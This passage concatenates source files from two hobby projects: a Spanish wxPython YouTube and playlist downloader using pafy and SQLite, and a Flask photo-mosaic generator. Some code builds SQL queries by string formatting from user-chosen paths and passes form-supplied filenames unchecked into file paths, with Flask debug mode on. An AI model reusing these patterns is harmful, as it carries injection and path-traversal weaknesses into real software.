= do.GetText() if "www.youtube.com" in url: self.peticiones += 1 self.statusbar_update() worker = streamThread(self, url, self.opt) worker.start() def crear_nodo(self, stream, path): nodo = panel(self.scroller, self.id, stream, path) self.scroller.mainsz.Add(nodo, 0, wx.ALL|wx.EXPAND, 2) self.scroller.SetupScrolling(scroll_x=True, scroll_y=True) self.id += 1 self.espera += 1 self.statusbar_update() def onAdd(self, event): self.peticiones -= 1 self.statusbar_update() stream = event.GetValue() if isinstance(stream, yt.stream): path = self.opt.video_directorio exist_dir(path) if stream.categoria == "Music": if self.musica(stream.titulo): stream.flujo = stream.video.getbestaudio(self.opt.musica_formato) if not stream.flujo: stream.flujo = stream.video.getbestaudio() path = self.opt.musica_directorio exist_dir(path) self.crear_nodo(stream, path) elif isinstance(stream, list): sqlite = sqlite_3() self.opt = sqlite.get_values() list_musica = False path = self.opt.lista_directorio exist_dir(path) for streamN in stream: if (list_musica and streamN.categoria == "Music") or streamN.categoria == "Music": if self.musica(streamN.titulo): streamN.flujo = streamN.video.getbestaudio(self.opt.musica_formato) if not streamN.flujo: streamN.flujo = streamN.video.getbestaudio() path = self.opt.musica_directorio exist_dir(path) list_musica = self.lista_musica() self.crear_nodo(streamN, path) self.statusbar_update() self.opt.lista_directorio = back_dir(path) sqlite.insert(get_query(self.opt)) hilo = threading.Thread(target=self.descargar) hilo.start() def descargar(self): if not self.state: self.state = True children = self.scroller.mainsz.GetChildren() for child in children: widget = child.GetWindow() if isinstance(widget, panel): if not widget.state: widget.descargar(self.opt.lista_enumera) widget.state = True self.espera -= 1 self.statusbar_update() self.state = False if self.pendiente: self.pendiente = False self.descargar() else: self.pendiente = True def berificar_opciones(self): sqlite = sqlite_3() if sqlite.exist: path = os.path.join(os.path.expandvars("%userprofile%"),"Downloads") sqlite.insert("0, 'best', '{0}', 'best', '{1}', 'best', '{2}', 1, 1".format(path, path, path)) self.opt = sqlite.get_values() def options(self, event): op = optionFrame(self) op.Destroy() self.get_opt() def clean(self, event): children = self.scroller.mainsz.GetChildren() for child in children: widget = child.GetWindow() if isinstance(widget, panel): if widget.state: widget.Destroy() self.scroller.SetupScrolling(scroll_x=True, scroll_y=True) def aboutBox(self, event): descripcion = """ """ def donacion(self, event): webbrowser.open("https://www.paypal.com/donate/?token=UcL22xOQ0VkvZ0uM844o2j_c7mwiNrpeTX_cvsfQRV4n0-jtM72hMidL_okrQC_jX69qmW&country.x=ES&locale.x=ES") def help(self, event): descripcion = """Full Video Downloader en una app que te ayuda a descargar tus videos y musica favorita de youtube, con Full Video Doenloader no solo podras descargar videos sino listas de reproduccion completas y sin restrinciones. """ licence = """Full Video Downloader es free software; puede redistribuirlo y / o modificarlo bajo los términos de la Licencia wxWindows Library Licencese. url: https://www.wxwidgets.org/about/licence/ """ info = wx.adv.AboutDialogInfo() info.SetIcon(wx.Icon('img/logo.png', wx.BITMAP_TYPE_PNG)) info.SetName('Full Video Downloader') info.SetVersion('1.0') info.SetDescription(descripcion) info.SetCopyright('(C) 2018 Cristobal Rodas') info.SetLicence(licence) info.AddDeveloper('Cristobal Rodas') info.AddDocWriter('Cristobal Rodas') info.AddArtist('The oreki crew') wx.adv.AboutBox(info) def musica(self, title): return wx.MessageBox("Se a detectado que el video puede ser una cancion\ndesea descargarlo como musica??", title, wx.YES_NO|wx.CENTRE) == 2 def lista_musica(self): return wx.MessageBox("desea que toda la lista de reproduccion se descargada como musica??", "lista de reproduccion", wx.YES_NO|wx.CENTRE) == 2 def get_opt(self): sqlite = sqlite_3() self.opt = sqlite.get_values() def main(): app = wx.App() frame = Frame(None, title="Youtube Dowloader") app.MainLoop() if __name__ == "__main__": main() --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import wx, os from utilidades import _opt from sqlite_3 import sqlite_3 class optionFrame(wx.Dialog): def __init__(self, parent): wx.Dialog.__init__ (self, parent, id=wx.ID_ANY, title=u"Opciones", pos=wx.DefaultPosition, size=wx.Size(500,510), style=wx.DEFAULT_DIALOG_STYLE) self.parent = parent self.list_video_format = ["best" ,"mp4", "webm", "flv", "3gp"] self.list_music_format = ["best" ,"web", "ogg", "m4a"] self.initUi() self.set_param() self.Centre(wx.BOTH) self.ShowModal() def initUi(self): bSizer1 = wx.BoxSizer( wx.VERTICAL ) self.m_panel2 = wx.Panel(self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.RAISED_BORDER) bSizer2 = wx.BoxSizer( wx.VERTICAL ) self.m_staticText1 = wx.StaticText( self.m_panel2, wx.ID_ANY, u"Video", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText1.Wrap( -1 ) bSizer2.Add( self.m_staticText1, 0, wx.ALL|wx.ALIGN_CENTER_HORIZONTAL, 5 ) bSizer5 = wx.BoxSizer( wx.HORIZONTAL ) bSizer2.Add( bSizer5, 1, wx.EXPAND, 5 ) bSizer51 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText51 = wx.StaticText( self.m_panel2, wx.ID_ANY, u"Formato", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText51.Wrap( -1 ) bSizer51.Add( self.m_staticText51, 0, wx.ALL, 5 ) self.video_formato = wx.Choice( self.m_panel2, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, self.list_video_format, 0 ) self.video_formato.SetSelection( 0 ) bSizer51.Add( self.video_formato, 1, wx.ALL, 5 ) bSizer2.Add( bSizer51, 1, wx.EXPAND, 5 ) bSizer6 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText6 = wx.StaticText( self.m_panel2, wx.ID_ANY, u"Directorio", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText6.Wrap( -1 ) bSizer6.Add( self.m_staticText6, 0, wx.ALL, 5 ) self.video_directorio = wx.TextCtrl( self.m_panel2, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer6.Add( self.video_directorio, 1, wx.ALL, 5 ) self.video_examinar = wx.Button( self.m_panel2, wx.ID_ANY, u"Examinar", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer6.Add( self.video_examinar, 0, wx.ALL, 5 ) bSizer2.Add( bSizer6, 1, wx.EXPAND, 5 ) self.m_panel2.SetSizer( bSizer2 ) self.m_panel2.Layout() bSizer2.Fit( self.m_panel2 ) bSizer1.Add( self.m_panel2, 1, wx.EXPAND |wx.ALL, 5 ) self.m_panel3 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.RAISED_BORDER ) bSizer21 = wx.BoxSizer( wx.VERTICAL ) self.m_staticText11 = wx.StaticText( self.m_panel3, wx.ID_ANY, u"Musica", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText11.Wrap( -1 ) bSizer21.Add( self.m_staticText11, 0, wx.ALL|wx.ALIGN_CENTER_HORIZONTAL, 5 ) bSizer52 = wx.BoxSizer( wx.HORIZONTAL ) bSizer21.Add( bSizer52, 1, wx.EXPAND, 5 ) bSizer511 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText511 = wx.StaticText( self.m_panel3, wx.ID_ANY, u"Formato", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText511.Wrap( -1 ) bSizer511.Add( self.m_staticText511, 0, wx.ALL, 5 ) self.musica_formato = wx.Choice( self.m_panel3, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, self.list_music_format, 0 ) self.musica_formato.SetSelection( 0 ) bSizer511.Add( self.musica_formato, 1, wx.ALL, 5 ) bSizer21.Add( bSizer511, 1, wx.EXPAND, 5 ) bSizer61 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText61 = wx.StaticText( self.m_panel3, wx.ID_ANY, u"Directorio", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText61.Wrap( -1 ) bSizer61.Add( self.m_staticText61, 0, wx.ALL, 5 ) self.musica_directorio = wx.TextCtrl( self.m_panel3, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer61.Add( self.musica_directorio, 1, wx.ALL, 5 ) self.musica_examinar = wx.Button( self.m_panel3, wx.ID_ANY, u"Examinar", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer61.Add( self.musica_examinar, 0, wx.ALL, 5 ) bSizer21.Add( bSizer61, 1, wx.EXPAND, 5 ) self.m_panel3.SetSizer( bSizer21 ) self.m_panel3.Layout() bSizer21.Fit( self.m_panel3 ) bSizer1.Add( self.m_panel3, 1, wx.EXPAND |wx.ALL, 5 ) self.m_panel4 = wx.Panel( self, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.RAISED_BORDER ) bSizer22 = wx.BoxSizer( wx.VERTICAL ) self.m_staticText12 = wx.StaticText( self.m_panel4, wx.ID_ANY, u"Listas de Reproduccion", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText12.Wrap( -1 ) bSizer22.Add( self.m_staticText12, 0, wx.ALL|wx.ALIGN_CENTER_HORIZONTAL, 5 ) bSizer53 = wx.BoxSizer( wx.HORIZONTAL ) bSizer22.Add( bSizer53, 1, wx.EXPAND, 5 ) bSizer512 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText512 = wx.StaticText( self.m_panel4, wx.ID_ANY, u"Formato", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText512.Wrap( -1 ) bSizer512.Add( self.m_staticText512, 0, wx.ALL, 5 ) self.lista_formato = wx.Choice( self.m_panel4, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, self.list_video_format, 0 ) self.lista_formato.SetSelection( 0 ) bSizer512.Add( self.lista_formato, 1, wx.ALL, 5 ) bSizer22.Add( bSizer512, 1, wx.EXPAND, 5 ) bSizer62 = wx.BoxSizer( wx.HORIZONTAL ) self.m_staticText62 = wx.StaticText( self.m_panel4, wx.ID_ANY, u"Directorio", wx.DefaultPosition, wx.DefaultSize, 0 ) self.m_staticText62.Wrap( -1 ) bSizer62.Add( self.m_staticText62, 0, wx.ALL, 5 ) self.lista_directorio = wx.TextCtrl( self.m_panel4, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer62.Add( self.lista_directorio, 1, wx.ALL, 5 ) self.lista_examinar = wx.Button( self.m_panel4, wx.ID_ANY, u"Examinar", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer62.Add( self.lista_examinar, 0, wx.ALL, 5 ) bSizer22.Add( bSizer62, 1, wx.EXPAND, 5 ) bSizer5121 = wx.BoxSizer( wx.HORIZONTAL ) self.lista_carpeta = wx.CheckBox( self.m_panel4, wx.ID_ANY, u"Crear carpeta para las listas de reproduccion", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer5121.Add(self.lista_carpeta, 0, wx.ALL, 5) bSizer22.Add(bSizer5121, 1, wx.EXPAND, 5) bSizer789 = wx.BoxSizer( wx.HORIZONTAL ) self.lista_enumera = wx.CheckBox( self.m_panel4, wx.ID_ANY, u"Enumerar los videos", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer789.Add(self.lista_enumera, 0, wx.ALL, 5) bSizer22.Add(bSizer789, 1, wx.EXPAND, 5) self.m_panel4.SetSizer(bSizer22) self.m_panel4.Layout() bSizer22.Fit(self.m_panel4) bSizer1.Add(self.m_panel4, 1, wx.EXPAND|wx.ALL, 5) bSizer85 = wx.BoxSizer( wx.HORIZONTAL ) self.btn_acept = wx.Button( self, wx.ID_ANY, u"Aceptar", wx.DefaultPosition, wx.DefaultSize, 0 ) self.btn_cancel = wx.Button( self, wx.ID_ANY, u"Cancelar", wx.DefaultPosition, wx.DefaultSize, 0 ) bSizer85.Add(self.btn_cancel, 0, wx.ALL, 5) bSizer85.Add(self.btn_acept, 0, wx.ALL, 5) bSizer1.Add(bSizer85, 0, wx.ALIGN_RIGHT, 5) self.SetSizer(bSizer1) self.Layout() self.video_examinar.Bind(wx.EVT_BUTTON, self.video_on_click) self.musica_examinar.Bind(wx.EVT_BUTTON, self.musica_on_click) self.lista_examinar.Bind(wx.EVT_BUTTON, self.lista_on_click) self.btn_acept.Bind(wx.EVT_BUTTON, self.aceptar) self.btn_cancel.Bind(wx.EVT_BUTTON, self.cancelar) def set_param(self): sqlite = sqlite_3() opt = sqlite.get_values() video_index = self.list_video_format.index(opt.video_formato) music_index = self.list_music_format.index(opt.musica_formato) list_index = self.list_video_format.index(opt.lista_formato) self.video_formato.SetSelection(video_index) self.video_directorio.SetValue(opt.video_directorio) self.musica_formato.SetSelection(music_index) self.musica_directorio.SetValue(opt.musica_directorio) self.lista_formato.SetSelection(list_index) self.lista_directorio.SetValue(opt.lista_directorio) self.lista_carpeta.SetValue(True if (opt.lista_carpeta == 1) else False) self.lista_enumera.SetValue(True if (opt.lista_enumera == 1) else False) def __del__(self): pass def selec_dir(self): with wx.DirDialog(self, "Choose a directory:", style=wx.DD_CHANGE_DIR) as fileDialog: first_path = os.getcwd() if fileDialog.ShowModal() == wx.ID_CANCEL: return os.chdir(first_path) return fileDialog.GetPath() def video_on_click(self, event): self.video_directorio.SetValue(self.selec_dir()) event.Skip() def musica_on_click(self, event): self.musica_directorio.SetValue(self.selec_dir()) event.Skip() def lista_on_click(self, event): self.lista_directorio.SetValue(self.selec_dir()) event.Skip() def aceptar(self, event): sqlite = sqlite_3() opt = _opt() opt.video_formato = self.video_formato.GetString(self.video_formato.GetSelection()) opt.video_directorio = self.video_directorio.GetValue() opt.musica_formato = self.musica_formato.GetString(self.musica_formato.GetSelection()) opt.musica_directorio = self.musica_directorio.GetValue() opt.lista_formato = self.lista_formato.GetString(self.lista_formato.GetSelection()) opt.lista_directorio = self.lista_directorio.GetValue() opt.lista_carpeta = 1 if self.lista_carpeta.GetValue() else 0 opt.lista_enumera = 1 if self.lista_enumera.GetValue() else 0 sqlite.update(opt) self.Destroy() event.Skip() def cancelar(self, event): self.Destroy() event.Skip() --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import wx, os, yt from utilidades import rename class PopupMenu(wx.Menu): def __init__(self, parent): super(PopupMenu, self).__init__() self.parent = parent eItem = wx.MenuItem(self, wx.ID_ANY, "Eliminar") aItem = wx.MenuItem(self, wx.ID_ANY, "Abrir ubicacion") rItem = wx.MenuItem(self, wx.ID_ANY, "Reproducir") self.Append(eItem) self.Append(aItem) self.Append(rItem) self.Bind(wx.EVT_MENU, self.onDel, eItem) self.Bind(wx.EVT_MENU, self.onOpen, aItem) self.Bind(wx.EVT_MENU, self.onPlay, rItem) def onDel(self, event): self.parent.Destroy() self.parent.update_croller() def onOpen(self, event): os.startfile(self.parent.path) def onPlay(self, event): os.startfile(os.path.join(self.parent.path, "{0}.{1}".format(self.parent.stream.titulo, self.parent.stream.flujo.extension))) class panel(wx.Panel): def __init__(self, parent, id, stream, path): wx.Frame.__init__(self, parent, wx.ID_ANY, wx.DefaultPosition, wx.DefaultSize, wx.RAISED_BORDER) #__init__(self, parent, id=ID_ANY, pos=DefaultPosition, size=DefaultSize, style=TAB_TRAVERSAL, name=PanelNameStr) self.id = id self.state = False self.stream = stream self.path = path self.parent = parent self.SetBackgroundColour((109, 144, 156)) Image = wx.Bitmap(wx.Image(stream.miniatura)) txt_descripcion = "Tipo: {0} Size: {1} Duracion: {2}".format(stream.categoria, stream.peso, stream.duracion) titulo = stream.titulo if len(titulo) > 35: titulo = "{0}...".format(titulo[0:32]) self.mainsz = wx.BoxSizer(wx.HORIZONTAL) self.container = wx.BoxSizer(wx.VERTICAL) self.mini = wx.StaticBitmap(self, wx.ID_ANY, Image, wx.DefaultPosition, wx.DefaultSize, 0) self.mainsz.Add(self.mini, 0, wx.ALL, 10) self.titulo = wx.StaticText(self, wx.ID_ANY, titulo, wx.DefaultPosition, wx.DefaultSize, 0) self.titulo.Wrap(-1) self.container.Add(self.titulo, 0, wx.ALL|wx.EXPAND, 5) self.progres_bar = wx.Gauge(self, wx.ID_ANY, stream.flujo.get_filesize(), wx.DefaultPosition, wx.DefaultSize, wx.GA_HORIZONTAL) self.progres_bar.SetValue(0) self.container.Add(self.progres_bar, 0, wx.ALL|wx.EXPAND, 5) self.descarga = wx.StaticText(self, wx.ID_ANY, u"", wx.DefaultPosition, wx.DefaultSize, 0) self.descarga.Wrap(-1) self.container.Add(self.descarga, 0, wx.ALL|wx.EXPAND, 5) self.descripcion = wx.StaticText(self, wx.ID_ANY, txt_descripcion, wx.DefaultPosition, wx.DefaultSize, 0) self.descripcion.Wrap(-1) self.container.Add(self.descripcion, 0, wx.ALL|wx.EXPAND, 5) self.mainsz.Add(self.container, 0, wx.ALL|wx.EXPAND, 0) self.SetSizer(self.mainsz) self.Bind(wx.EVT_RIGHT_DOWN, self.onRightDown) self.mini.Bind(wx.EVT_RIGHT_UP, self.onclick) self.titulo.Bind(wx.EVT_RIGHT_UP, self.onclick) self.progres_bar.Bind(wx.EVT_RIGHT_UP, self.onclick) self.descarga.Bind(wx.EVT_RIGHT_UP, self.onclick) self.descripcion.Bind(wx.EVT_RIGHT_UP, self.onclick) def get_children_item(self, item): children = self.container.GetChildren() hijos = [] for child in children: widget = child.GetWindow() if isinstance(widget, item): hijos.append(widget) return hijos def callback(self, total, recvd, ratio, rate, eta): t = yt.video_peso(total) r = yt.video_peso(recvd) gauge = self.get_children_item(wx.Gauge) gauge[0].SetValue(recvd) progress = self.get_children_item(wx.StaticText) progress[1].SetLabel(u"{0} de {1} / Tiempo restante: [{2}/sec]".format(r, t, round(eta))) def descargar(self, lista): self.SetBackgroundColour((51, 153, 255)) self.Refresh() self.stream.flujo.download(filepath=self.path, quiet=True, callback=self.callback, meta=True) self.SetBackgroundColour((109, 144, 156)) self.Refresh() try: if lista and self.stream.name: rename(self.path, self.stream.flujo.filename, self.stream.name) except: pass def onRightDown(self, event): if self.state: self.PopupMenu(PopupMenu(self), event.GetPosition()) def onclick(self, event): self.onRightDown(event) def update_croller(self): self.parent.SetupScrolling(scroll_x=True, scroll_y=True) --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import sqlite3 import os from utilidades import _opt class sqlite_3(object): def __init__(self): self.path = os.path.join(os.getcwd(), "dat") self.exist_dir() self.exist = False if self.crear_tabla(): self.con = sqlite3.connect(os.path.join(self.path, "opt.db")) self.cursor = self.con.cursor() def exist_dir(self): if not os.path.isdir(self.path): os.mkdir("dat") def crear_tabla(self): if not os.path.isfile(os.path.join(self.path, "opt.db")): self.con = sqlite3.connect(os.path.join(self.path, "opt.db")) self.cursor = self.con.cursor() self.exist = True query = """ create table opciones( id integer prymary key not null, video_formato txt not null, video_directorio txt not null, musica_formato txt not null, musica_directorio txt not null, lista_formato txt not null, lista_directorio txt not null, lista_carpeta integer not null, lista_enumera integer not null ); """ self.cursor.execute(query) return False return True def insert(self, values): query = """insert into opciones ( id, video_formato, video_directorio, musica_formato, musica_directorio, lista_formato, lista_directorio, lista_carpeta, lista_enumera ) values({0}) """.format(values) self.cursor.execute(query) self.con.commit() def get_values(self): self.cursor.execute("select * from opciones") opt = _opt for registro in self.cursor: opt.video_formato = registro[1] opt.video_directorio = registro[2] opt.musica_formato = registro[3] opt.musica_directorio = registro[4] opt.lista_formato = registro[5] opt.lista_directorio = registro[6] opt.lista_carpeta = registro[7] opt.lista_enumera = registro[8] return opt def update(self, opt): query = "update opciones set " query += "video_formato = '{0}',".format(opt.video_formato) query += "video_directorio = '{0}',".format(opt.video_directorio) query += "musica_formato = '{0}',".format(opt.musica_formato) query += "musica_directorio = '{0}',".format(opt.musica_directorio) query += "lista_formato = '{0}',".format(opt.lista_formato) query += "lista_directorio = '{0}',".format(opt.lista_directorio) query += "lista_carpeta = {0},".format(opt.lista_carpeta) query += "lista_enumera = {0}".format(opt.lista_enumera) self.cursor.execute(query) self.con.commit() def close(self): self.con.close() def __del__(self): if self.exist: self.con.close() def main(): sql = sqlite_3() sql.get_values() if __name__ == '__main__': main() --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import os from urllib.request import urlopen from six import BytesIO def children(parent, hijo): children = parent.GetChildren() hijos = [] for child in children: widget = child.GetWindow() if isinstance(widget, hijo): hijos.append(widget) return hijos def miniatura(url_miniatura): img = urlopen(url_miniatura).read() return BytesIO(img) def video_peso(peso): pesos = ("bits", "bytes", "MB", "GB") aux = peso size = 0 cont = -1 while aux > 1: size = aux aux /= 1024 cont += 1 return "{0}/{1}".format(round(size, 1), pesos[cont]) def exist_dir(path): if not os.path.isdir(path): first_path = os.getcwd() dir = path.split(os.sep) os.chdir(os.sep.join(dir[:len(dir)-1])) os.mkdir(dir[len(dir)-1]) os.chdir(first_path) def back_dir(path): dir = path.split(os.sep) return os.sep.join(dir[:len(dir)-1]) def get_query(opt): return "0, '{0}', '{1}', '{2}', '{3}', '{4}', '{5}', '{6}', '{7}'".format( opt.video_formato, opt.video_directorio, opt.musica_formato, opt.musica_directorio, opt.lista_formato, opt.lista_directorio, opt.lista_carpeta, opt.lista_enumera ) def rename(path, last, new): name = os.path.join(path, new) other = os.path.join(path, last) os.rename(other, name) class _opt(object): def __init__(self): self.video_formato = None self.video_directorio = None self.musica_formato = None self.musica_directorio = None self.lista_formato = None self.lista_directorio = None self.lista_carpeta = True self.lista_enumera = True --- FILE SEPARATOR --- #!/usr/bin/env python3 # -*- coding: utf-8 -*- import pafy, os from utilidades import * class video(object): def __init__(self): self.titulo = "" self.categoria = None self.miniatura = None self.duracion = None self.peso = None class streamL(video): def __init__(self): self.flujo = None self.name = None class stream(video): def __init__(self, url, formato): self.video = pafy.new(url) self.flujo = self.video.getbest("mp4" if (formato == "best") else formato) if not self.flujo: self.flujo = self.video.getbest() self.conect() def conect(self): self.titulo = self.video.title self.categoria = self.video.category self.miniatura = miniatura(self.video.thumb) self.duracion = self.video.duration self.peso = video_peso(self.flujo.get_filesize()) class listStream(object): def __init__(self, url, formato): self.video = pafy.get_playlist(url) self.lista = [] self.list_title = self.video["title"] self.formato = "mp4" if (formato == "best") else formato self.conect() def conect(self): for i in range(len(self.video["items"])): new_video = streamL() new_video.flujo = self.video["items"][i]["pafy"].getbest(self.formato) if not new_video.flujo: new_video.flujo = self.video["items"][i]["pafy"].getbest() new_video.name = "{0:0>2} - {1}".format(i+1, new_video.flujo.filename) new_video.titulo = self.video["items"][i]["pafy"].title new_video.categoria = self.video["items"][i]["pafy"].category new_video.miniatura = miniatura(self.video["items"][i]["pafy"].thumb) new_video.duracion = self.video["items"][i]["pafy"].duration new_video.peso = video_peso(new_video.flujo.get_filesize()) self.lista.append(new_video) print(new_video.titulo) def get_list_stream(self): return self.lista
[ "/main.py", "/option.py", "/panel.py", "/sqlite_3.py", "/utilidades.py", "/yt.py" ]
0scarlau/mosaic
from flask import Flask, render_template, request from src.utils.image import TargetImage, TileImages, MosaicImage import os import time app = Flask(__name__, static_folder='') app.config['SEND_FILE_MAX_AGE_DEFAULT'] = 0 @app.route('/') @app.route('/home') def mosaic_main(): tile_folders = os.listdir(os.path.join(os.getcwd(), 'images/tile')) return render_template('mosaic.html', tile_folders=tile_folders) @app.route('/result', methods = ['POST', 'GET']) def result(): if request.method == 'POST': start_time = time.time() target_path = None target_image = None grid_size = None tile_path = None tile_folder = None save = None resize = None result = request.form target_image = result['target image'] if not '' in request.form.getlist('grid size[]'): grid_size = [int(i) for i in request.form.getlist('grid size[]')] if not '' in request.form.getlist('resize[]'): resize = [int(i) for i in request.form.getlist('resize[]')] tile_folder = result['folder'] target = TargetImage(grid_size=grid_size, target_path=target_path) tile_image = TileImages(tile_path=tile_path, resize=resize, folder=tile_folder) target_image = target.get_target_image(target_image) cropped_images = target.target_image_split() tile_fit = tile_image.get_tile_fit(cropped_images, reuse=True) mosaic = MosaicImage(tile_images=tile_fit, grid_size=target.grid_size) mosaic_image = mosaic.build_mosaic() if not result['mosaic image']: image = '/output/mosaic.jpg' else: save = result['mosaic image'] image = '/output/' + result['mosaic image'] + '.jpg' mosaic.save(mosaic_image, filename=save) finish_time = round(time.time() - start_time, 2) return render_template("result.html", result=result, time=finish_time, image=image) @app.after_request def add_header(response): """ Add headers to both force latest IE rendering engine or Chrome Frame, and also to cache the rendered page for 10 minutes. """ response.headers['X-UA-Compatible'] = 'IE=Edge,chrome=1' response.headers['Cache-Control'] = 'public, max-age=0' return response if __name__ == '__main__': app.run(debug=True) --- FILE SEPARATOR --- import os import yaml from yaml.error import YAMLError from yaml.loader import SafeLoader from pathlib import Path class MosaicConfig: def __init__(self): self.config = None self.tile_path = None self.tile_folder = None self.target_path = None self.width = None self.height = None self.grid_size = None self.load_config(self.get_config_path()) def load_config(self, config): if isinstance(config, str): with open(config, 'r') as stream: try: self.config = yaml.load(stream, Loader=SafeLoader) except YAMLError as ex: print(ex) else: self.config = config for key, values in self.config.items(): for value in values: if 'image' in key: setattr(self, value, self.config[key][value]) self.grid_size = self.width, self.height def get_config_path(self): return os.path.join(Path(os.getcwd()), "config/config.yaml") --- FILE SEPARATOR --- import os import sys sys.path.append(os.getcwd()) from src.utils.image import TileImages, TargetImage, MosaicImage import time import argparse if __name__ == '__main__': parser = argparse.ArgumentParser(description='Collecting inputs to create Mosaic Images') parser.add_argument('--target-path', help='Specify target path for target image', required=False) parser.add_argument('--target-image', help='Specify target image filename', required=True) parser.add_argument('--grid-size', type=int, nargs='+', help='Specify grid size', required=False) parser.add_argument('--tile-path', help='Specify Tile image path', required=False) parser.add_argument('--tile-folder', help='Specify Tile folder name', required=False) parser.add_argument('--mosaic-image', help='Specify Mosaic image output filename', required=False) parser.add_argument('--resize', type=int, nargs='+', help='Specify Mosaic image output filename', required=False) args = parser.parse_args() target_path = args.target_path target_image = args.target_image grid_size = args.grid_size tile_path = args.tile_path tile_folder = args.tile_folder save = args.mosaic_image resize = args.resize start_time = time.time() target = TargetImage(grid_size=grid_size, target_path=target_path) tile_image = TileImages(tile_path=tile_path, resize=resize, folder=tile_folder) target_image = target.get_target_image(target_image) input_images = tile_image.tiles cropped_images = target.target_image_split() tile_fit = tile_image.get_tile_fit(cropped_images, reuse=True) mosaic = MosaicImage(tile_images=tile_fit, grid_size=target.grid_size) mosaic_image = mosaic.build_mosaic() mosaic.save(mosaic_image, save) finish_time = time.time() print(f'Time of processing: {round(finish_time - start_time)} seconds') --- FILE SEPARATOR --- import os from PIL import Image from src.utils.processor import get_average_rgb, best_match_tile_images, progress_bar from src.config.config import MosaicConfig import random """ TargetImage Class Used to open up the target image by specifying the target path (default path is /images/target) and the image filename in that path. Image file should be in .jpg or .jpeg format. Configuration will be loaded automatically, however variables can be overwritten """ class TargetImage: def __init__(self, target_path=None, grid_size=None, config=MosaicConfig()): self.image = None if config: self.config = config self.target_path = os.path.join(os.getcwd(), self.config.target_path) self.grid_size = self.config.grid_size if grid_size: self.grid_size = grid_size if target_path: self.target_path = target_path def get_target_image(self, filename): print(f'Processing target image with filename: {filename}') try: file = os.path.join(self.target_path, filename) self.image = Image.open(file) return self.image except FileNotFoundError: print(f'{filename} does not exist in path {self.target_path}') def target_image_split(self): """ Image will split into the grid size provided in the class. Default [50,50] Size of the split tile image will be calculated and used to crop the existing target image to form new tiles images. The cropped target images will be appended into an array and returned """ print(f'Splitting target image into tiles') images = [] target_image_width = self.image.size[0] target_image_height = self.image.size[1] larger_image = self.image.resize((target_image_width, target_image_height)) number_of_columns, number_of_rows = self.grid_size column_size, row_size = int(target_image_width / number_of_columns), int(target_image_height / number_of_rows) # im.crop(box) left, upper, right, and lower for j in range(number_of_columns): for i in range(number_of_rows): images.append(larger_image.crop((i * column_size, j * row_size, (i + 1) * column_size, (j + 1) * row_size)) ) print(f'Total number of tiles from splitted target image: {len(images)}') return images """ TileImage class opens up all the input tile images placed in the tile path (default path is /images/tile) If using the default path, the class must take in the folder name where the tile images are located or the direct tile path can be loaded. The input tile images will vary in size, and the resize variable can increase or decrease the input tile images before processing. The greater the size of the input tile images, the greater the size of the file will be If resize parameter is not used, the default input tile image size will be used for processing """ class TileImages: def __init__(self, tile_path=None, config=MosaicConfig(), resize=None, folder=None): self.tiles = list() self.resize = resize if config: self.config = config if folder: self.tile_path = os.path.join(os.getcwd(), self.config.tile_folder, folder) else: self.tile_path = os.path.join(os.getcwd(), self.config.tile_path) self.tiles = self.prepare_tile_images(self.tile_path) if tile_path: self.tiles = self.prepare_tile_images(tile_path) def _process_tile(self, tile_path): try: image = Image.open(tile_path) if self.resize: image.thumbnail((self.resize[0], self.resize[1])) return image except Exception as ex: pass # def _build_white_tile(self): # white_image = Image.new('RGB', (self.resize[0], self.resize[1]), (255, 255, 255)) # return white_image def prepare_tile_images(self, tile_path): print(f'Reading tile images from path: {tile_path}\n') # self.tiles.append(self._build_white_tile()) try: tile_paths = os.listdir(tile_path) random.shuffle(tile_paths) for path in tile_paths: if '.jpg' in path or '.jpeg' in path: file_path = os.path.abspath(os.path.join(tile_path, path)) self.tiles.append(self._process_tile(file_path)) except FileNotFoundError: print(f'{tile_path} does not contain any image files\n') return self.tiles @staticmethod def tile_average_rgb(tile_images: list) -> list: averages = list() for image in tile_images: averages.append(get_average_rgb(image)) return averages def get_tile_fit(self, split_images, reuse=True) -> list: """ Averages of each split images and input tile images are calculated and the best fit for each split image will be calculated using euclidean distance formula. The distance formula will return the index of the input tile images that best fits the split images. Function returns the input tile images in an array in the order of fitting """ indices = list() tile_fit = list() print(f'Total number of tile images to process: {len(split_images)}\n') split_image_average_rgb = self.tile_average_rgb(split_images) tile_image_average_rgb = self.tile_average_rgb(self.tiles) print(f'Finding Tiles of best fit\n') for progress, average in enumerate(split_image_average_rgb): i = best_match_tile_images(average, tile_image_average_rgb) indices.append(i) if not reuse: del tile_image_average_rgb[i] if len(tile_image_average_rgb) == 0: raise Exception('No 